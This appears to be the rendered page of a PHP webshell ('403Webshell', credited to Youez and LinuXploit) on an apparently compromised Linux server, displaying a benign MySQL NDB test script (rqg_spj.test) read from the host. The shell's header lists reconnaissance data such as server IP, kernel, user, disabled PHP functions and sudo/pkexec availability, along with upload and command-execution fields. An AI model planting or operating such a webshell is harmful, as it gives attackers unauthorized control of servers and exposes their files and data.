403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.71.124.68
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_big/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_big/rqg_spj.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

#
# RQG SPJ
#
--source include/have_ndb.inc
--source include/not_windows.inc
--source include/not_embedded.inc
--source suite/ndb/include/have_ndb_rqg.inc

# Remember all SPJ conters when test started.
--disable_query_log
create temporary table spj_counts_at_startup 
       select counter_name, sum(val) as val 
       from ndbinfo.counters 
       where block_name='DBSPJ' 
       group by counter_name;
--enable_query_log

##
# Load simple.zz
# -o => with "oj-extensions"
--echo Calling: $LOAD_RQG -d simple.zz -o
--exec bash -c "$LOAD_RQG -d simple.zz -o"

##
# run spj_test.yy for 1800 seconds
#
# If you want to reproduce an "run"
#   add -s <seed value> to command below
#
# NOTE: CluB get unhappy if a testcase doesnt print for 1800 seconds
#       So call program several times instead
#       (having --exec print as it goes would also be nice...instead of
#        just at the end)
#
let $cmd = $RUN_RQG -g spj_test.yy -t 600;
--echo Calling: $cmd (3 times)
--exec bash -c "$cmd"
--exec bash -c "$cmd"
--exec bash -c "$cmd"

drop database spj_innodb;
drop database spj_ndb;

--disable_query_log
create temporary table spj_counts_at_end
       select counter_name, sum(val) as val
       from ndbinfo.counters 
       where block_name='DBSPJ' 
       group by counter_name;

select spj_counts_at_end.counter_name, 
       spj_counts_at_end.val - spj_counts_at_startup.val
from spj_counts_at_startup, spj_counts_at_end
where spj_counts_at_startup.counter_name = spj_counts_at_end.counter_name;
--enable_query_log

exit;

Youez - 2016 - github.com/yon3zu
LinuXploit